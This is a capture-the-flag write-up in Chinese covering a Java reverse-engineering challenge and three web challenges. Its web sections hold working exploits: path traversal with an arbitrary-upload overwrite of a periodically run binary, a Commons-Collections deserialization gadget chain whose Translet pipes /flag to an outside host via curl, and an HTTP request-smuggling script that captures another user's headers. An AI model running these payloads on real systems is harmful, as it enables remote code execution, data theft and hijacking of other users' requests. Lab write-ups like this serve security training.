  • BOOT-INF/classes/magic.dat

主入口 OuroborosApplication.main 的逻辑很简单:

  1. 读入用户输入 token
  2. 调用 TradeService.executeTrade(token, 999.0)
  3. 返回非空字符串则判成功

TradeService 初始 riskEngine 是空壳 RiskPolicy,会被 LogicSwapper 注入真正的引擎。

  1. 真正核心:ShadowLoader + 动态注入

LogicSwapper 会在 Bean 初始化时调用 ShadowLoader.load()

ShadowLoader 做了三件关键事:

  1. IntegrityVerifier.getDeriveKey() 拿到派生 key
  2. application-data.db 逐字节 XOR 解密:
1
2
3
seed = (seed * 1103515245 + 12345) & 0xffffffff
k = (seed >>> 16) & 0xff
byte ^= k
  1. 跳过前 128 字节,把后半段当成内层 JAR 载入,最终实例化 RealRiskEngine

也就是说:

  • 外层程序只是壳
  • 真正 check 逻辑在 application-data.db 解密后的内层 JAR
  1. 内层 RealRiskEngine:有诱饵

解出内层 JAR 后有两个类:

  • com.seal.ouroboroscore.RealRiskEngine
  • com.seal.ouroboroscore.OuroborosVM

RealRiskEngine.check(token, amount)

  1. 先走 checkLegacy(token)
  2. legacy 命中返回提示文本
  3. 否则执行 OuroborosVM.execute(token, amount)

legacy 分支可以解出一个假 flag:

1
flag{N0p3_Th1s_1s_A_D3c0y_G0_B4ck}

这个不能提交

  1. VM 逻辑恢复:真正的 flag 约束

OuroborosVM.execute 会:

  1. 再次取 IntegrityVerifier.getDeriveKey()
  2. key & 0xff 对静态 FIRMWARE 做 XOR 得到字节码
  3. 解释执行一个小栈机

解码后字节码结构非常规整:

  • 开头检查长度:len(token) == 33
  • 后续按下标逐位检查字符,例如:
    • token[0] == 'f'
    • token[1] == 'l'
    • token[2] == 'a'

逐项恢复得到:

1
flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}

exp如下:

  1. 解包外层 jar
  2. 调用 ShadowLoader 动态加载真实内层引擎
  3. 反射拿到 OuroborosVM.FIRMWARE
  4. 用真实 key 解码 firmware
  5. 解析 VM 指令恢复 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import re
import shutil
import subprocess
import sys
import zipfile
from pathlib import Path


def pick_executable(candidates):
for c in candidates:
if not c:
continue
p = Path(c)
if p.exists():
return str(p)
w = shutil.which(c)
if w:
return w
raise FileNotFoundError(f"Cannot find executable from: {candidates}")


def run(cmd, cwd=None):
return subprocess.check_output(cmd, cwd=cwd, text=True, stderr=subprocess.STDOUT)


def ensure_extract(outer_jar: Path, out_dir: Path):
if out_dir.exists():
return
out_dir.mkdir(parents=True, exist_ok=True)
with zipfile.ZipFile(outer_jar, "r") as zf:
zf.extractall(out_dir)


def compile_and_dump_firmware(java_bin, javac_bin, tmp_dir: Path, extracted_dir: Path, api_jar: Path):
src = tmp_dir / "DumpFromShadowLoader.java"
src.write_text(
"""
import com.seal.ouroborosapi.RiskEngine;
import com.seal.ouroborosapp.infra.ShadowLoader;
import java.lang.reflect.Field;

public class DumpFromShadowLoader {
public static void main(String[] args) throws Exception {
int key = com.seal.ouroborosapi.IntegrityVerifier.getDeriveKey();
ShadowLoader loader = new ShadowLoader();
RiskEngine eng = loader.load();
if (eng == null) {
throw new RuntimeException("loader.load() returned null");
}
ClassLoader cl = eng.getClass().getClassLoader();
Class<?> vm = Class.forName("com.seal.ouroboroscore.OuroborosVM", true, cl);
Field f = vm.getDeclaredField("FIRMWARE");
f.setAccessible(true);
byte[] fw = (byte[]) f.get(null);

System.out.println("key=" + key + " low8=" + (key & 0xff) + " len=" + fw.length);
for (int i = 0; i < fw.length; i++) {
if (i > 0) System.out.print(" ");
System.out.print(fw[i] & 0xff);
}
System.out.println();
}
}
""".strip()
+ "\n",
encoding="ascii",
)

cp_compile = os.pathsep.join(
[str(extracted_dir / "BOOT-INF" / "classes"), str(api_jar)]
)
run([javac_bin, "-cp", cp_compile, str(src)], cwd=tmp_dir)

cp_run = os.pathsep.join(
[
str(tmp_dir),
str(extracted_dir / "BOOT-INF" / "classes"),
str(api_jar),
]
)
out = run([java_bin, "-Denv=prod", "-cp", cp_run, "DumpFromShadowLoader"], cwd=tmp_dir)
lines = [line.strip() for line in out.strip().splitlines() if line.strip()]
if len(lines) < 2:
raise RuntimeError(f"unexpected helper output:\n{out}")

m = re.search(r"key=(\d+)\s+low8=(\d+)\s+len=(\d+)", lines[0])
if not m:
raise RuntimeError(f"cannot parse header: {lines[0]}")
low8 = int(m.group(2))
raw = [int(x) for x in lines[1].split()]
return low8, raw


def recover_flag_from_firmware(decoded):
# Header:
# [0] 0x20, [1] 0x10, [2:4] len, [4] 0x35, [5] 0x4A, [6] 0x01, [7] 0xFF
if len(decoded) < 8:
raise RuntimeError("decoded firmware too short")
if decoded[0] != 0x20 or decoded[1] != 0x10 or decoded[4] != 0x35:
raise RuntimeError("unexpected firmware head")

target_len = (decoded[2] << 8) | decoded[3]
constraints = {}

pc = 8
while pc < len(decoded):
# tail: PUSH 1; HALT
if pc + 3 < len(decoded) and decoded[pc:pc + 4] == [0x10, 0x00, 0x01, 0xFF]:
break

if pc + 10 >= len(decoded):
raise RuntimeError(f"truncated instruction at pc={pc}")

# one-char check block:
# PUSH idx ; LOAD ; PUSH const ; XOR ; JZ +1 ; HALT
op = decoded[pc:pc + 11]
ok = (
op[0] == 0x10
and op[3] == 0x30
and op[4] == 0x10
and op[7] == 0x35
and op[8] == 0x4A
and op[9] == 0x01
and op[10] == 0xFF
)
if not ok:
raise RuntimeError(f"unexpected opcode block at pc={pc}: {op}")

idx = (op[1] << 8) | op[2]
val = (op[5] << 8) | op[6]
constraints[idx] = val
pc += 11

buf = [ord("?")] * target_len
for i, v in constraints.items():
if i < 0 or i >= target_len:
raise RuntimeError(f"index out of range: {i}")
buf[i] = v

if any(ch == ord("?") for ch in buf):
raise RuntimeError("incomplete constraints")

return "".join(chr(x) for x in buf)


def main():
root = Path(__file__).resolve().parent
outer_jar = root / "ouroboros-app-0.0.1-SNAPSHOT.jar"
if not outer_jar.exists():
print(f"[-] not found: {outer_jar}")
sys.exit(1)

java_bin = pick_executable([
os.environ.get("JAVA_BIN"),
"java",
r"C:\Users\衍斌\.jdks\openjdk-23\bin\java.exe",
])
javac_bin = pick_executable([
os.environ.get("JAVAC_BIN"),
"javac",
r"C:\Users\衍斌\.jdks\openjdk-23\bin\javac.exe",
])

tmp_dir = root / ".solve_tmp"
extracted_dir = tmp_dir / "extracted"
tmp_dir.mkdir(parents=True, exist_ok=True)

ensure_extract(outer_jar, extracted_dir)
api_jar = extracted_dir / "BOOT-INF" / "lib" / "ouroboros-api-0.0.1-SNAPSHOT.jar"
if not api_jar.exists():
print(f"[-] not found: {api_jar}")
sys.exit(1)

low8, raw_firmware = compile_and_dump_firmware(
java_bin, javac_bin, tmp_dir, extracted_dir, api_jar
)
decoded = [b ^ low8 for b in raw_firmware]
flag = recover_flag_from_firmware(decoded)

print("[+] flag =", flag)


if __name__ == "__main__":
main()

运行可以得到flag为:

1
flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}

Web

easyuu

hgame61.png

访问首页可见是一个“文件浏览 + 文件上传”页面,存在如下接口:

  • GET /api/download_file/{filename}
  • POST /api/list_dir(参数:path
  • POST /api/upload_file(multipart)

通过抓取前端 wasm 字符串,可直接看到:

  • /api/list_dir
  • /api/upload_file
  • /api/download_file/
  • ./uploads

说明后端核心逻辑就是文件读写。从 update/easyuu.zip 下载并进行源码审计,先利用下载接口目录穿越把源码包拉下来进行分析:

1)任意目录遍历(list_dir)

1
2
3
4
5
6
7
8
#[server(prefix = "/api", endpoint = "list_dir")]
pub async fn list_dir(path: String) -> Result<Vec<FileEntry>, ServerFnError> {
use tokio::fs;

let mut entries = Vec::new();
let mut dir = fs::read_dir(&path).await?;
...
}

path 未做任何限制,可直接读任意目录(如 //etc/app)。

2)任意文件读取(download_file 路径穿越)

1
2
3
4
5
pub async fn download_file(Path(filename): Path<String>) -> impl IntoResponse {
let base_dir = PathBuf::from("./uploads");
let file_path = base_dir.join(&filename);
let file = File::open(&file_path).await ...
}

join 直接拼接,filename 可为 ../...,导致路径穿越。注意要用 curl --path-as-is + 编码斜杠,避免客户端/网关提前规范化路径:

1
curl --path-as-is "http://1.116.118.188:32146/api/download_file/%2e%2e%2fCargo.toml"

3)任意文件写入(upload_file 可控目录)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pub async fn upload_file(data: MultipartData) -> Result<usize, ServerFnError> {
let mut base_dir = PathBuf::from("./uploads");

while let Ok(Some(mut field)) = data.next_field().await {
match field.name().as_deref() {
Some("path1") => {
if let Ok(p) = field.text().await {
base_dir = PathBuf::from(p);
}
continue;
}
Some("file") => {
let name = field.file_name().unwrap_or_default().to_string();
let path = base_dir.join(&name);
OpenOptions::new().create(true).write(true).truncate(true).open(path).await?;
...
}
}
}
}

前端表单虽然没有 path1,但后端支持该字段,导致可以把文件写到任意目录(例如 ./update)。

4)高危更新逻辑(每 5 秒执行 ./update/easyuu --version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
async fn update_watcher() {
loop {
sleep(Duration::from_secs(5)).await;
if let Some(new_version) = get_new_version().await {
if new_version > current_version {
update().await?;
}
}
}
}

async fn get_new_version() -> Option<Version> {
let output = Command::new("./update/easyuu")
.arg("--version")
.output()
.await
.ok()?;
...
}

即使版本不升级,./update/easyuu --version 也会被周期性执行。只要我们能覆盖这个文件,就有命令执行。

利用链:

  1. 用任意读下载源码包,确认漏洞和更新执行点。
  2. 用任意写把 ./update/easyuu 覆盖成脚本。
  3. 脚本在 --version 被调用时把 $FLAG 写入 ./uploads/flag.txt
  4. 等待 watcher 触发后,从下载接口读 flag.txt

这条链路不需要反弹 shell,稳定且隐蔽。步骤如下:

1)验证任意目录读取

hgame62.png

2)验证任意文件读取(路径穿越)

hgame63.png

3)构造恶意 update/easyuu,本地 payload 文件 payload_easyuu.sh

1
2
3
4
5
6
7
#!/bin/sh
if [ "$1" = "--version" ]; then
echo "$FLAG" > ./uploads/flag.txt
echo "0.1.0"
exit 0
fi
exit 0

上传覆盖 ./update/easyuu

1
curl -X POST "http://1.116.118.188:30924/api/upload_file" -F "path1=./update" -F "file=@payload_easyuu.sh;filename=easyuu;type=application/octet-stream"

4)等待 watcher 执行后取 flag

1
2
sleep 7
curl "http://1.116.118.188:30924/api/download_file/flag.txt"

hgame64.png

ezCC

解包与关键文件

1
2
tar -xf ezcc.war -C unpack
Get-ChildItem -Recurse unpack

关键点:

  • unpack/WEB-INF/classes/Hgame/ezCC/myServlet.class
  • unpack/WEB-INF/classes/Hgame/ezCC/Tool.class
  • unpack/WEB-INF/classes/Hgame/ezCC/BlacklistObjectInputStream.class
  • unpack/WEB-INF/lib/commons-collections-3.2.1.jar

先分析/login

  1. 读取 userId
  2. 构造 new UserInfo(userId, timestamp)
  3. Tool.serialize() 后 Base64
  4. 放入 cookie:userInfo

接着分析/welcome

  1. 从 cookie 取 userInfo
  2. Tool.base64Decode()
  3. Tool.deserialize()
  4. 强转:(UserInfo)

Tool.deserialize() 用的是自定义 BlacklistObjectInputStream

黑名单只拦了一个类名:

  • org.apache.commons.collections.functors.InvokerTransformer

这意味着:

  • 仍然存在大量可用 CC 变种链
  • 即便最后强转 UserInfo 失败,只要反序列化过程已经走到 gadget,就可以先 RCE,后抛异常

本质是不可信 cookie 直接反序列化,并且黑名单防护非常弱(只拦截单个类)。触发点:

  • GET /welcome
  • Cookie: userInfo=<base64-serialized-object>
  1. 利用思路

4.1 为什么不直接用常见 ysoserial payload

测试发现:目标过滤了 InvokerTransformer,常见链会被拦,直接用 ysoserial 某些 TemplatesImpl 构造在该环境会触发 NPE,命令不落地,所以改为:手工构造 TemplatesImpl,自定义 Translet 字节码,用 ConstantTransformer + InstantiateTransformer + LazyMap + TiedMapEntry 触发,避开 InvokerTransformer

利用链结构

1
2
3
4
5
6
7
8
9
HashMap.readObject()
-> TiedMapEntry.hashCode()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer(TrAXFilter.class)
-> InstantiateTransformer(Templates.class, templatesImpl)
-> new TrAXFilter(templatesImpl)
-> TemplatesImpl.newTransformer()
-> 加载恶意 Translet,执行构造函数命令

BuildCCPayloadManual.java

作用:读取恶意 ExploitTranslet.class,塞进 TemplatesImpl,再组装 CC 触发对象并序列化成 payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import javax.xml.transform.Templates;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

public class BuildCCPayloadManual {
private static void setField(Object obj, String name, Object value) throws Exception {
Class<?> c = obj.getClass();
Field f = null;
while (c != null) {
try {
f = c.getDeclaredField(name);
break;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(name);
}
f.setAccessible(true);
f.set(obj, value);
}

private static Object createTemplates(byte[] classBytes) throws Exception {
Class<?> templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Object templates = templatesClass.getDeclaredConstructor().newInstance();

setField(templates, "_bytecodes", new byte[][] { classBytes });
setField(templates, "_name", "hgame");

Class<?> tfClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
Object tf = tfClass.getDeclaredConstructor().newInstance();
setField(templates, "_tfactory", tf);
return templates;
}

public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.err.println("Usage: BuildCCPayloadManual <translet.class> <output_file>");
System.exit(1);
}

byte[] clazz = Files.readAllBytes(Paths.get(args[0]));
Object templates = createTemplates(clazz);
Class<?> traxFilter = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");

Transformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(1)
});

Transformer[] realTransformers = new Transformer[] {
new ConstantTransformer(traxFilter),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates })
};

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "hgame");

HashMap payload = new HashMap();
payload.put(tiedMapEntry, "ezcc");
lazyMap.remove("hgame");

setField(chain, "iTransformers", realTransformers);

try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(args[1]))) {
oos.writeObject(payload);
}

System.out.println("Payload written to " + args[1]);
}
}

ExploitTranslet.java作用:在 Translet 构造函数中执行命令,并补齐字段避免部分 JDK8 上 postInitialization() 的 NPE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ExploitTranslet extends AbstractTranslet {
public ExploitTranslet() throws IOException {
Runtime.getRuntime().exec(new String[]{
"/bin/sh",
"-c",
"cat /flag | curl -s -X POST --data-binary @- http://ptsv3.com/__BIN__"
});
this.namesArray = new String[0];
this.urisArray = new String[0];
this.typesArray = new int[0];
this.namespaceArray = new String[0];
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

编译构造器

1
javac -cp 'unpack\WEB-INF\lib\commons-collections-3.2.1.jar' BuildCCPayloadManual.java

生成一次性回显 bin + 编译 ExploitTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$bin='hgameezcc'+[int](Get-Date -UFormat %s)

@'
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ExploitTranslet extends AbstractTranslet {
public ExploitTranslet() throws IOException {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "cat /flag | curl -s -X POST --data-binary @- http://ptsv3.com/__BIN__"});
this.namesArray = new String[0];
this.urisArray = new String[0];
this.typesArray = new int[0];
this.namespaceArray = new String[0];
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
'@.Replace('__BIN__',$bin) | Set-Content -Encoding UTF8 ExploitTranslet.java

& 'C:\Program Files\Java\jdk-10.0.1\New Folder\bin\javac.exe' -source 8 -target 8 ExploitTranslet.java

生成 payload 并打 cookie

1
2
3
4
5
6
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -cp '.;unpack\WEB-INF\lib\commons-collections-3.2.1.jar' BuildCCPayloadManual ExploitTranslet.class pwn_manual.bin

$b64=[Convert]::ToBase64String([IO.File]::ReadAllBytes('pwn_manual.bin'))
curl -k -s -H "Cookie: userInfo=$b64" https://1.116.118.188:31012/welcome > $null
Start-Sleep -Seconds 5
curl -s "http://ptsv3.com/api/$bin/latest"

返回 JSON 的 body 字段即为 flag。本题最终拿到:

1
hgame{Ezcc_lS_rEAI1y_b45lc-iSn'T_iT?c4ebe2}

《文文。新闻》

首先,应用程序的前端是由 Vite 构建的 React 应用。通过访问 @vite/client 我们可以确认是 Vite 开发服务器。Vite 开发服务器通常存在配置不当导致的 任意文件读取 漏洞。通过测试,我们发现可以直接访问文件系统:
http://1.116.118.188:31697/@fs/app/backend/src/main.rs

利用这个漏洞,我们下载了后端的 Rust 源代码:

  • /app/backend/src/main.rs
  • /app/backend/src/handlers.rs
  • /app/backend/src/http_parser.rs

同时,通过分析 package.json,可以发现它运行着一个 Node.js 代理服务器 ,使用了 http-proxy 库 ,并且以 root 权限运行。

请求流程如下:
User -> Node.js Proxy (http-proxy) -> Rust Backend

通过审计 Rust 后端的 http_parser.rs,发现其 HTTP 解析器存在严重缺陷:

  1. 忽略 Transfer-Encoding:解析器只读取 Content-Length 头来确定请求体长度。
  2. Keep-Alive 支持:后端在同一个 TCP 连接上循环处理多个请求。
  3. 默认行为:如果 Content-Length 缺失,则默认长度为 0。

相比之下,前端的 Node.js http-proxy (基于标准 Node.js http 模块) 支持并优先处理 Transfer-Encoding: chunked

这就构成了经典的 CL.TE (Content-Length . Transfer-Encoding) 走私漏洞

  • 前端 (Node):看到 Transfer-Encoding: chunked,将请求体作为分块数据转发。
  • 后端 (Rust):忽略 TE 头,如果没有 Content-Length,则认为请求体长度为 0。

所以可以构造一个恶意的 “Smuggling Wrapper” 请求:

  1. 设置 Transfer-Encoding: chunked
  2. 不设置 Content-Length (或者设置,但 Rust 解析器会根据自身逻辑处理)。
  3. 在分块数据中包含一个 完整但未闭合的请求 (Trap Request)

当 Node 转发这个请求时,它发送了完整的 Trap Request 作为 Body。
Rust 收到请求头后,认为 Body 长度为 0 (处理完 Wrapper 请求)。
紧接着,Rust 从缓冲区读取 “下一个” 请求,即我们的 Trap Request

Trap Request 设计:

1
2
3
4
5
POST /api/comment HTTP/1.1
...
Content-Length: 350

content=CAPTURED:

这个 Trap 请求是一个 POST,但是它的 Body (content=CAPTURED:) 没有闭合,并且 Content-Length 声明了比实际发送数据更大的长度 (350)。
Rust 会挂起,等待更多的字节。

此时,下一个用户 (Bot/Admin) 的请求通过 Node 代理到达同一个 TCP 连接。
这些字节被 Rust 读取并追加到 Trap Request 的 Body 中。
结果,Bot 的请求变成了我们评论的内容!我们编写了 EXP 脚本,循环发送 Trap 请求,并在后台监听评论数据库。

此脚本利用 CL.TE 漏洞,将 Trap 请求走私到后端,等待受害者请求拼接。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import socket
import ssl
import time

# 配置
target_host = "1.116.118.188"
target_port = 30360
my_token = "b60d140c-0ff3-4889-94db-6c9b48789b3c" # 攻击者的 Token

def send_smuggle_trap(length=350):
try:
s = socket.create_connection((target_host, target_port), timeout=5)

# 构造陷阱请求 (Trap Request)
# 这个请求将被后端解析为第二个请求
# Content-Length 设置得足够大,以包含受害者的请求头
trap_request = (
"POST /api/comment HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
f"Authorization: {my_token}\r\n"
f"Content-Length: {length}\r\n"
"\r\n"
"content=CAPTURED:"
)

chunk_size = hex(len(trap_request))[2:]

# 走私载荷 (CL.TE)
# Node 看到 TE: chunked。
# Rust 忽略 TE,看到无 CL (默认为 0)。
payload = (
"POST /api/smuggle HTTP/1.1\r\n"
f"Host: {target_host}\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
f"{chunk_size}\r\n"
f"{trap_request}\r\n"
"0\r\n\r\n"
)

s.sendall(payload.encode())

# 读取 Node 的响应 (Wrapper 请求的响应)
try:
s.recv(1024)
except:
pass

s.close()
except Exception as e:
pass

print("Starting Attack Loop...")
while True:
send_smuggle_trap(length=350)
time.sleep(1.0) # 每秒发送一次

监控脚本 (dump_comments.py),此脚本用于检索评论,查看是否捕获到了 Bot 的请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import urllib.request
import json

api_base = 'http://1.116.118.188:31697' # 注意端口可能不同,如果是 Node 代理则为 30360
token = "b60d140c-0ff3-4889-94db-6c9b48789b3c"

req = urllib.request.Request(f'{api_base}/api/comment', headers={'Authorization': token})
resp = urllib.request.urlopen(req)
comments = json.loads(resp.read().decode())

for c in comments:
if "CAPTURED" in c.get('content', ''):
print(f"--- Captured from {c.get('username')} ---")
print(c.get('content'))

运行攻击脚本一段时间后,我们成功捕获到了 Bot 的请求。
Bot 的请求头中包含了一个自定义 HTTP 头 flag

1
2
3
4
5
6
7
8
9
CAPTURED:
0

POST /api/comment HTTP/1.1
x-forwarded-host: localhost
...
flag: hgame{thlS_is_@_d@iIY-NEwSl5668d3e7}
authorization: 836c4323-a744-4071-944c-afaf93152af5
...

Flag: hgame{thlS_is_@_d@iIY-NEwSl5668d3e7}